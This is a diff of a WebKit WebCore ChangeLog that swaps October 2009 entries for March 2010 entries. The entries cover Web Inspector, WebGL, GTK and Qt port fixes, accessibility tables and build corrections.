+        * bridge/jni/jsc/JNIBridgeJSC.cpp:
+        (JavaField::dispatchValueFromInstance):
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp:
+        (JSC::Bindings::convertValueToJValue):
+        * bridge/jni/v8/JNIUtilityPrivate.cpp:
+        (JSC::Bindings::convertNPVariantToJValue):
+        * bridge/jni/v8/JavaNPObjectV8.cpp:
+        (JSC::Bindings::AllocJavaNPObject):
 
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::toDataURL):
+2010-03-17  Yury Semikhatsky  <yurys@chromium.org>
 
-2009-10-14  Pavel Feldman  <pfeldman@chromium.org>
+        Reviewed by Pavel Feldman.
 
-        Not reviewed, reverting r49558 since it broke profiler tests.
+        Mark inspector resources as changed so that they are reloaded on the next frontend connection.
+        
+        Split resetScriptObjects into code specific for page navigation and insepctor frontend disconnection.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30328
+        https://bugs.webkit.org/show_bug.cgi?id=36183
 
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getProfileHeaders):
-        (WebCore::InspectorBackend::getProfile):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
+        * WebCore.xcodeproj/project.pbxproj: Added InspectorWorkerResource.h to the project file.
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addProfile):
-        (WebCore::InspectorController::getProfileHeaders):
-        (WebCore::InspectorController::getProfile):
-        (WebCore::InspectorController::createProfileHeader):
+        (WebCore::InspectorController::disconnectFrontend):
+        (WebCore::InspectorController::unbindAllResources):
+        (WebCore::InspectorController::didCommitLoad):
         * inspector/InspectorController.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addProfileHeader):
-        (WebCore::InspectorFrontend::didGetProfileHeaders):
-        (WebCore::InspectorFrontend::didGetProfile):
-        * inspector/InspectorFrontend.h:
-        * inspector/JavaScriptProfileNode.cpp:
-        (WebCore::ProfileNodeClass):
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView.profileCallback):
-        (WebInspector.ProfileView):
-        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
-        (WebInspector.ProfileView.prototype._assignParentsInProfile):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addProfileHeader):
-
-2009-10-13  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Simon Hausmann.
-
-        ImageDecoderQt: Minor tweaks to the decoder
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::releaseScriptObject):
 
-        - Only cache the data when we start to use it.
-        - Start with a repetition count of none for normal images.
-        - Do not use canRead as this will trigger parsing of the full image
-        - Cope with a GIF failing to decode the first frame, do not
-          set m_failed to true if decoding the first frame failed
-        - Inform the QImageReader about the format that was detected
-        - Always create a ImageDecoderQt when when we have more
-        than four byte.
+2010-03-17  Pavel Feldman  <pfeldman@chromium.org>
 
+        Reviewed by Timothy Hatcher.
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoder::create): Always create QImageReader for a significant speed up
-        (WebCore::ImageDecoderQt::ImageDecoderQt): Initialize m_repetitionCount to cAnimationNone
-        (WebCore::ImageDecoderQt::setData): Only call ImageDecoder::setData when everything has been received
-        (WebCore::ImageDecoderQt::isSizeAvailable): Do not check m_failed twice.
-        (WebCore::ImageDecoderQt::filenameExtension): Convert from QByteArray to String
-        (WebCore::ImageDecoderQt::frameBufferAtIndex): Check for m_failed before trying to decode
-        (WebCore::ImageDecoderQt::internalDecodeSize): Fail if the size is QSize()
-        (WebCore::ImageDecoderQt::forceLoadEverything): Handle the case were decoding the first frame fails
-        * platform/graphics/qt/ImageDecoderQt.h: Change the m_format type
-
-2009-10-14  Mikhail Naganov  <mnaganov@chromium.org>
+        Web Inspector: Capture main resource load events in timeline panel.
 
-        Reviewed by Pavel Feldman.
+        https://bugs.webkit.org/show_bug.cgi?id=36188
 
-        Web Inspector: Migrate profiles to the injected script-based schema.
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._createStatusbarButtons):
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClicked):
+        (WebInspector.TimelinePanel.prototype.timelineWasStopped):
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._clearPanel):
+        (WebInspector.TimelinePanel.FormattedRecord):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30328
+2010-03-17  Zoltan Horvath  <zoltan@webkit.org>
 
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getProfileHeaders):
-        (WebCore::InspectorBackend::getProfile):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addProfile):
-        (WebCore::InspectorController::getProfileHeaders):
-        (WebCore::InspectorController::getProfile):
-        (WebCore::InspectorController::createProfileHeader):
-        * inspector/InspectorController.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addProfileHeader):
-        (WebCore::InspectorFrontend::didGetProfileHeaders):
-        (WebCore::InspectorFrontend::didGetProfile):
-        * inspector/InspectorFrontend.h:
-        * inspector/JavaScriptProfileNode.cpp:
-        (WebCore::ProfileNodeClass):
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView.profileCallback):
-        (WebInspector.ProfileView):
-        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
-        (WebInspector.ProfileView.prototype._assignParentsInProfile):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addProfileHeader):
+        Reviewed by Eric Seidel.
 
-2009-10-13  Yury Semikhatsky  <yurys@chromium.org>
+        Allow custom memory allocation control for AtomicString class
+        https://bugs.webkit.org/show_bug.cgi?id=35907
 
-        Reviewed by Pavel Feldman.
+        Inherits the following class from FastAllocBase because it is
+        instantiated by 'new':
 
-        Don't collect call frame properties until they're needed for completion.
+        class name   - instantiated at: WebCore/'location'
+        AtomicString - WebCore/html/HTMLTableElement.cpp:525
 
-        https://bugs.webkit.org/show_bug.cgi?id=30334
+        * platform/text/AtomicString.h:
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getCompletions): if call frame id is specified and the expression is empty collect frame properties.
-        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain): don't send call frame properties until they're needed.
-        * inspector/front-end/ScriptsPanel.js:
+2010-03-16  John Abd-El-Malek  <jam@chromium.org>
 
-2009-10-13  Yongjun Zhang  <yongjun.zhang@nokia.com>
+        Reviewed by Darin Fisher.
 
-        Reviewed by Ariya Hidayat.
+        Give keyboard focus to PluginDocuments by default
+        https://bugs.webkit.org/show_bug.cgi?id=36147
 
-        https://bugs.webkit.org/show_bug.cgi?id=29106
-        [Qt] make CachedResourceHandle.h compile in winscw Symbian compiler.
+        Test: http/tests/plugins/plugin-document-has-focus.html
 
-        Don't inline constructor CachedResourceHandle<T>(R*) to stop winscw
-        compiler aggressively resolve inheritance of class R.  
-        
-        The winscw compiler bug is reported at:
-        https://xdabug001.ext.nokia.com/bugzilla/show_bug.cgi?id=9812.
-        
-        The change should be reverted when the above bug is fixed in winscw compiler.
+        * loader/PluginDocument.cpp:
+        (WebCore::PluginDocument::pluginNode):
+        * loader/PluginDocument.h:
+        * page/EventHandler.cpp:
+        (WebCore::eventTargetNodeForDocument):
 
-        * loader/CachedResourceHandle.h:
-        (WebCore::::CachedResourceHandle):
+2010-03-16  Chris Fleizach  <cfleizach@apple.com>
 
-2009-10-13  Dimitri Glazkov  <dglazkov@chromium.org>
+        Reviewed by Darin Adler.
 
-        No review, rolling out r49554, because it broke Win and Chromium builds.
-        http://trac.webkit.org/changeset/49554
+        REGRESSION (r53857): Crash when tabbing to <map>
+        https://bugs.webkit.org/show_bug.cgi?id=36017
 
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::CSSPrimitiveValue::cssText):
+        Test: fast/events/imagemap-norender-crash.html
 
-2009-10-13  Evan Martin  <evan@chromium.org>
+        * html/HTMLMapElement.cpp:
+        (WebCore::HTMLMapElement::imageElement):
 
-        Reviewed by Adam Barth.
+2010-03-16  Brent Fulgham  <bfulgham@webkit.org>
 
-        Stringify CSS units manually (without printf) to make the formatting
-        locale-insensitive and obey CSS spec with respect to large values.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=18994
+        Build fix.  No Review.
 
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::appendCSSDouble):
-        (WebCore::formatWithUnits):
-        (WebCore::CSSPrimitiveValue::cssText):
+        Correct missing includes in cURL network backend introduced
+        by recent changes in WebKit.
 
-2009-10-13  Evan Martin  <evan@chromium.org>
+        * platform/network/curl/ResourceHandleCurl.cpp: Add missing
+          includes for SharedBuffer and PassRefPtr.
+        (WebCore::ResourceHandle::loadResourceSynchronously): Correct
+          constructor signature for ResourceHandle to match @r55688.
+        * platform/network/curl/ResourceHandleManager.cpp: Add missing
+          include for RetainPtr.
 
-        Reviewed by David Levin.
+2010-03-16  Zhenyao Mo  <zmo@google.com>
 
-        Make grippy lines vertical on horizontal scrollbars in Linux Chrome.
-        While we're rebaselining scrollbars, fix an off by one in the vertical
-        scrollbar rendering too.
+        Reviewed by Darin Fisher.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30319
+        Hook up WebGLContextAttributes to OpenGL context creation code
+        https://bugs.webkit.org/show_bug.cgi?id=33416
 
-        Tests: this is covered by every pixel test involving scrollbars.
+        Test: fast/canvas/webgl/context-attributes-alpha-depth-stencil-antialias.html
 
-        * platform/chromium/ScrollbarThemeChromiumLinux.cpp:
-        (WebCore::ScrollbarThemeChromiumLinux::paintThumb):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp: Fix an index bug.
+        * platform/graphics/GraphicsContext3D.h: Add members/functions for multisampling/stencil buffer purpose.
+        * platform/graphics/mac/Canvas3DLayer.h: Add GraphicsContext3D as a member of Canvas3DLayer.
+        * platform/graphics/mac/Canvas3DLayer.mm: Add multisampling support.
+        * platform/graphics/mac/GraphicsContext3DMac.cpp: Hook up WebGLContextAttributes to OpenGL context creation code for Mac.
+        * platform/graphics/mac/GraphicsLayerCA.mm: Adjust to modified Canvas3DLayer init call.
 
-2009-10-13  Sam Weinig  <sam@webkit.org>
+2010-03-16  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
 
-        Reviewed by David Hyatt.
+        Reviewed by Xan Lopez.
 
-        Fix issue where clientX and clientY on MouseEvents were wrong when
-        the page was zoomed and scrolled.
+        https://bugs.webkit.org/show_bug.cgi?id=35504
+        [Gtk] Evaluate and fix AtkTable for layout tables
 
-        Test: fast/events/clientXY-in-zoom-and-scroll.html
+        Causes "layout tables" to be exposed as AccessibilityTables for Gtk.
 
-        * dom/MouseRelatedEvent.cpp:
-        (WebCore::contentsX): Take page zoom into account.
-        (WebCore::contentsY): Ditto.
+        * accessibility/AccessibilityTable.cpp:
+        (AccessibilityTable::isTableExposableThroughAccessibility):
 
-2009-10-13  Dave Hyatt  <hyatt@apple.com>
+2010-03-16  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Adam Roben.
+        Unreviewed. Build fix for distcheck.
 
-        Change the order of arguments on some of the user stylesheet/script functions.  Split the removal functions
-        out into separate ones for scripts and stylesheets.
+        * GNUmakefile.am:
 
-        * WebCore.base.exp:
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::addUserScriptToWorld):
-        (WebCore::PageGroup::addUserStyleSheetToWorld):
-        (WebCore::PageGroup::removeUserScriptFromWorld):
-        (WebCore::PageGroup::removeUserStyleSheetFromWorld):
-        (WebCore::PageGroup::removeUserScriptsFromWorld):
-        (WebCore::PageGroup::removeUserStyleSheetsFromWorld):
-        * page/PageGroup.h:
-        (WebCore::PageGroup::userScripts):
-        (WebCore::PageGroup::userStyleSheets):
-
-2009-10-13  Evan Martin  <evan@chromium.org>
+2010-03-15  Darin Fisher  <darin@chromium.org>
 
-        Reviewed by Dmitry Titov.
+        Reviewed by Adam Barth.
 
-        Chrome's "Skia" theme paints select controls backwards in RTL.
+        https://bugs.webkit.org/show_bug.cgi?id=36152
+        [chromium] Add support for history.pushState and history.replaceState
 
-        https://bugs.webkit.org/show_bug.cgi?id=30320
+        This is covered by the existing tests in fast/loader/stateobjects
 
-        Test: fast/text/international/bidi-menulist.html
-        (The test is about something else, but it includes RTL selects.)
+        * bindings/v8/SerializedScriptValue.cpp:
+        (WebCore::ZigZag::Deserializer::deserialize):
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/v8/SerializedScriptValue.h:
+        Switch to returning v8::Null instead of the empty value to match JSC
+        and the spec.
 
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintMenuList): flip the arrow position in RTL case.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadInSameDocument): Call
+        dispatchDidNavigateWithinPage just before dispatching events to the
+        page.  This ordering is important since the event handlers could
+        destroy the page or start another navigation.
 
-2009-10-13  Dmitry Titov  <dimich@chromium.org>
+        * loader/FrameLoaderClient.h: Add dispatchDidNavigateWithinPage to
+        notify the client whenever a navigation occurs without changing any of
+        the documents in the page.
 
-        Reviewed by Alexey Proskuryakov.
+2010-03-16  Adam Roben  <aroben@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30318
-        ScriptExecutionContext is not anymore needed to create an EventListener - remove old code.
-        It's a followup to r48884. It removed the need to pass the ScritpExecutionContext
-        into EventListener constructor but did not remove the code pulling ScriptExecutionContext.
+        Fix linker warnings when building WebCore on Windows
 
-        Tests:
-        Test adds event listener to a DocumentType Node which is created without a document
-        and then dispatches the event after attaching a node to the tree. Event
-        should fire when node is attached to the tree.
+        Rubber-stamped by Steve Falkenburg.
 
-        * fast/events/add-event-without-document-expected.txt: Added.
-        * fast/events/add-event-without-document.html: Added.
+        * WebCore.vcproj/WebCore.vcproj: Exclude JSDOMFormData.cpp from the
+        build, since it's already included in DerivedSources.cpp. Also let VS
+        sort this file as it saw fit.
 
-        All changes in files below are the same - remove the code that calls
-        EventTarget::scriptExecutionContext and checks it for NULL.
+2010-03-15  Antti Koivisto  <koivisto@iki.fi>
 
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDesktopNotificationsCustom.cpp:
-        (WebCore::JSNotification::addEventListener):
-        (WebCore::):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/js/JSWebSocketCustom.cpp:
-        (WebCore::JSWebSocket::addEventListener):
-        (WebCore::JSWebSocket::removeEventListener):
+        Reviewed by Simon Hausmann.
 
-2009-10-13  Drew Wilson  <atwilson@atwilson-macpro.local>
+        https://bugs.webkit.org/show_bug.cgi?id=36121
+        [Qt] Make WebKit scrollbars work with tiling
+         
+        Translate coordinates correctly.
 
-        Reviewed by David Levin.
+        * page/Frame.cpp:
+        (WebCore::Frame::tiledBackingStorePaintEnd):
 
-        Enable SHARED_WORKERS for Chromium
-        https://bugs.webkit.org/show_bug.cgi?id=30289
+2010-03-16  Jakub Wieczorek  <jwieczorek@webkit.org>
 
-        Cleaned up bitrot in SharedWorker V8 bindings.
+        Reviewed by Eric Seidel.
 
-        * WebCore.gypi:
-        Removed default implementation of SharedWorkerRepository so Chromium can provide its own.
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        Added V8SharedWorkerContext.cpp.
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        Added case statements for SHAREDWORKER and SHAREDWORKERCONTEXT.
-        * bindings/v8/V8Index.cpp:
-        Now includes V8SharedWorkerContext.h to allow supporting SharedWorkers.
-        * bindings/v8/V8Index.h:
-        Added definition for SHAREDWORKERCONTEXT wrapper.
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        Added includes for SharedWorker.h and SharedWorkerContext.h.
-        * bindings/v8/custom/V8CustomBinding.h:
-        Reorganized Worker field indexes to be clearer, and fixed mismatch in worker field index.
-        Also added field indexes for SharedWorkers.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        Added runtime enabler for the SharedWorker constructor.
-        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        Cleaned up bitrot (various APIs have changed since this file was written).
-        * page/DOMWindow.idl:
-        Added EnabledAtRuntime flag to window.SharedWorker.
+        [Qt] MediaPlayerPrivate: Initialize m_mediaPlayerControl to 0 to avoid crashes
+        when no media services can be found.
 
-2009-10-13  Alexey Proskuryakov  <ap@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=36142
 
-        Reviewed by Brady Eidson.
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30345
-        HTTP tests for credential handling fail on Tiger
+2010-03-16  Adam Barth  <abarth@webkit.org>
 
-        We cannot prevent NSURLConnection from doing its credentil handling on Tiger anyway; so
-        let it do its work without intervention. Once again, we pass explicitly passed credentials
-        in URL, fixing regressions from Safari 3.
+        Unreviewed.
 
-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::ResourceHandle::start):
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceHandle::receivedCredential):
+        noscript tag should render when @sandbox disables JavaScript
+        https://bugs.webkit.org/show_bug.cgi?id=36092
 
-2009-10-13  Roland Steiner  <rolandsteiner@google.com>
+        Add missing "!" in plugin code.  Should fix plugins/embed-inside-object
+        on Gtk and Qt.
 
-        Reviewed by Adam Barth.
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::load):
 
-        Bug 28964 -  [Chromium] ChromiumDataObject should have getter/setter interface
+2010-03-16  Nate Chapin  <japhet@chromium.org>
 
-        Reworked and added to the getter/setter interface in ChromiumDataObject:
-        - added contains...() methods to just query the state
-        - added containsValid...URL() methods for URL data members
-        - removed takeFileNames() as this was too type-dependent
-        - changed return type of fileNames() to Vector<String>
-        - added interface methods to allow appending to and iteration over file names
+        Reviewed by Dimitri Glazkov.
 
-        No new tests (no functional behavior changed).
+        [V8] Delete DerivedSourcesAllInOne.cpp.
 
-        * platform/chromium/ChromiumDataObject.h:
-        (WebCore::ChromiumDataObject::containsMainURL):
-        (WebCore::ChromiumDataObject::containsValidMainURL):
-        (WebCore::ChromiumDataObject::containsMainURLTitle):
-        (WebCore::ChromiumDataObject::containsTextPlain):
-        (WebCore::ChromiumDataObject::containsTextHTML):
-        (WebCore::ChromiumDataObject::containsHTMLBaseURL):
-        (WebCore::ChromiumDataObject::containsValidHTMLBaseURL):
-        (WebCore::ChromiumDataObject::containsContent):
-        (WebCore::ChromiumDataObject::containsContentFileExtension):
-        (WebCore::ChromiumDataObject::containsContentFileName):
-        (WebCore::ChromiumDataObject::setContentFileName):
-        (WebCore::ChromiumDataObject::containsFileNames):
-        (WebCore::ChromiumDataObject::fileNames):
-        (WebCore::ChromiumDataObject::clearFileNames):
-        (WebCore::ChromiumDataObject::countFileNames):
-        (WebCore::ChromiumDataObject::fileNameAt):
-        (WebCore::ChromiumDataObject::setFileNames):
-        (WebCore::ChromiumDataObject::appendToFileNames):
-        (WebCore::ChromiumDataObject::popFileName):
-
-2009-10-13  Simon Fraser  <simon.fraser@apple.com>
-
-        Temporary debugging changes to figure out why the webgl tests are crashing on the build bot.
+        https://bugs.webkit.org/show_bug.cgi?id=33048
 
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        * Android.v8bindings.mk:
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Removed.
 
-2009-10-13  Simon Fraser  <simon.fraser@apple.com>
+2010-03-16  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Dan Bernstein.
+        Revert r56006 as it caused functional issues. We will work on a
+        testcase, and rework the fix, and land when we have this a bit
+        more testable.
 
-        Visibility:visible inside a compositing layer doesn't make the element visible
-        https://bugs.webkit.org/show_bug.cgi?id=30339
-        
-        When deciding if a layer had any renderable content, RenderLayerBacking::paintIntoLayer()
-        only consulted hasVisibleContent(), which does not take into a account child layers which
-        may be visible. We also have to consult hasVisibleDescendant() as well.
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::RenderThemeGtk::paintMediaPlayButton):
 
-        Test: compositing/compositing-visible-descendant.html
+2010-03-16  Pavel Feldman  <pfeldman@chromium.org>
 
-        * rendering/RenderLayer.h:
-        (WebCore::RenderLayer::hasVisibleDescendant):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::paintIntoLayer):
+        Reviewed by Timothy Hatcher.
 
-2009-10-13  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        Web Inspector: Errors when inspecting styles of non-renderable elements in XHTML.
 
-        Reviewed by Simon Hausmann.
+        https://bugs.webkit.org/show_bug.cgi?id=35025
 
-        Refactor ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH
-        https://bugs.webkit.org/show_bug.cgi?id=30278
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getStyles):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode.prototype._addAttribute):
+        (WebInspector.DOMWindow.prototype.Object):
+        * inspector/front-end/MetricsSidebarPane.js:
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update.callback):
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylesSidebarPane.prototype._update):
 
-        Move the definition of ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH 
-        from the make system into common code.
+2010-03-12  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Enable ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH if NETSCAPE_PLUGIN_API 
-        support is not enabled.
+        Reviewed by Simon Fraser.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        Remove notImplemented() from PluginPackageNone.cpp and 
-        PluginDataNone.cpp make them just empty functions.
+        Spatial Navigation: Add a scrollIntoView call when focusing an element.
+        https://bugs.webkit.org/show_bug.cgi?id=36020
 
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * plugins/PluginDataNone.cpp:
-        (WebCore::PluginData::initPlugins):
-        (WebCore::PluginData::refresh):
-        * plugins/PluginPackageNone.cpp:
-        (WebCore::PluginPackage::determineQuirks):
-        (WebCore::PluginPackage::fetchInfo):
-        (WebCore::PluginPackage::load):
+        When focusing an element in Spatial Navigation logic, it is desired to make
+        this element visible in the current viewport. For that to happen, there
+        could be a call to Element's scrollIntoView method at focusing time. However
+        for visual aspects, it is preferable to scroll to an inflated rect of |element|
+        in order to consider the focus outline width.
+        As Element's scrollIntoView method does not provide this flexibility, patch adds
+        a custom scrollIntoView method to SpatialNavigation.h .
 
-2009-10-13  Alexey Proskuryakov  <ap@apple.com>
+        * page/FocusController.cpp:
+        (WebCore::FocusController::advanceFocusDirectionally):
+        * page/SpatialNavigation.cpp:
+        (WebCore::scrollIntoView):
+        * page/SpatialNavigation.h:
 
-        Reviewed by Dan Bernstein.
+2010-03-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30150
-        <rdar://problem/7283540> REGRESSION: Crash when accessing clipboardData.types
+        Reviewed by Eric Seidel.
 
-        Test: editing/pasteboard/crash-accessing-clipboardData-types.html
+        [GTK] Position queries are lagging
+        https://bugs.webkit.org/show_bug.cgi?id=34372
 
-        * platform/mac/ClipboardMac.mm: (WebCore::addHTMLClipboardTypesForCocoaType): The String
-        class doesn't have operator bool, it's operator NSString* that is invoked instead, and it
-        converts null strings to non-null @"".
+        Normalize timeout priorities through the GStreamer media player as
+        a whole. This should help avoid that any of them is starved.
 
-2009-10-13  Drew Wilson  <atwilson@atwilson-macpro.local>
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::processBufferingStats):
+        (WebCore::MediaPlayerPrivate::muteChanged):
+        * platform/graphics/gstreamer/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_render):
+        * platform/graphics/gstreamer/WebKitWebSourceGStreamer.cpp:
+        (webKitWebSrcNeedDataCb):
+        (webKitWebSrcEnoughDataCb):
+        (webKitWebSrcSeekDataCb):
 
-        Reviewed by Dimitri Glazkov.
+2010-03-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        window attributes (like localStorage) that are disabled at runtime are still visible
-        https://bugs.webkit.org/show_bug.cgi?id=30240
+        Reviewed by Eric Seidel.
 
-        Adding codegen/bindings to support runtime disabling of attributes.
+        [GTK] Position queries are lagging
+        https://bugs.webkit.org/show_bug.cgi?id=34372
 
-        No new tests (only supported by chrome currently)
+        Use default priority also for parsing data: URIs.
 
-        * bindings/scripts/CodeGeneratorV8.pm:
-        Refactored the guts of GenerateBatchedAttributeData into a separate GenerateSingleBatchedAttribute with a passed-in indentation level to allow generating a single BatchedAttribute struct.
-        Added support for the EnabledAtRuntime extended attribute, which generates a call to the appropriate XXXXEnabled() API before adding the attribute to the instance.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::batchConfigureAttributes):
-        Refactored attribute setting code into a common inline routine.
-        * bindings/v8/V8Proxy.h:
-        (WebCore::configureAttribute):
-        Inline function which configures a single attribute given a BatchedAttribute struct.
-        * bindings/v8/custom/V8CustomBinding.h:
-        Added (DECLARE_)ACCESSOR_RUNTIME_ENABLER to allow enabling attributes at runtime.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        Added code to enable window.Audio only if MediaPlayer.isAvailable() == true
-        * page/DOMWindow.idl:
-        Added [EnabledAtRuntime] extended attribute to the Audio attribute.
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startData):
 
-2009-10-13  Michelangelo De Simone  <micdesim@gmail.com>
+2010-03-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Adam Barth.
+        Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27457
-        Added support for static validation on type=email input elements as per
-        HTML5 specs:
-        http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state
+        [GTK] Position queries are lagging
+        https://bugs.webkit.org/show_bug.cgi?id=34372
 
-        Test: fast/forms/ValidityState-typeMismatch-email.html
+        Normalize SharedTimers priorities to always be
+        G_PRIORITY_DEFAULT. As it is currently, timers that should happen
+        immediately (0 miliseconds delay) end up delayed by a lot of time
+        due to glib starving lower priority sources.
 
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::typeMismatch): ValidityState.typeMismatch
-        performs validation on type=email input elements now.
-        (WebCore::ValidityState::isValidEmailAddress): simple validation method 
-        * html/ValidityState.h:
+        * platform/gtk/SharedTimerGtk.cpp:
+        (WebCore::setSharedTimerFireTime):
 
-2009-10-13  Dmitry Titov  <dimich@chromium.org>
+2010-03-16  Xan Lopez  <xlopez@igalia.com>
 
-        Reviewed by Adam Barth.
+        Reviewed by Gustavo Noronha.
 
-        Event listeners installed on a window object returned from window.open() don't work
-        https://bugs.webkit.org/show_bug.cgi?id=28716
+        Add support for Fast Mobile Scrolling in the build system.
 
-        Tests: http/tests/security/window-events-clear-domain.html
-               http/tests/security/window-events-clear-port.html
-               http/tests/security/window-events-pass.html
+        * GNUmakefile.am:
 
-        * dom/Document.cpp: Split code of Document::clear() in a way to avoid removing all
-        window event handlers when implicitOpen is called. It is called in 2 cases - on
-        committing loaded content (no need to clean handlers) and on document.open() (needs to remove handlers).
+2010-03-11  Yury Semikhatsky <yurys@chromium.org>
 
-        (WebCore::Document::open): in addition to calling implicitOpen it also removes window
-        event handlers, to preserve the behavior of document.open().
+        Reviewed by Pavel Feldman.
 
-        (WebCore::Document::implicitOpen): includes the part of removed Document::clear() that
-        does not remove window event handlers.
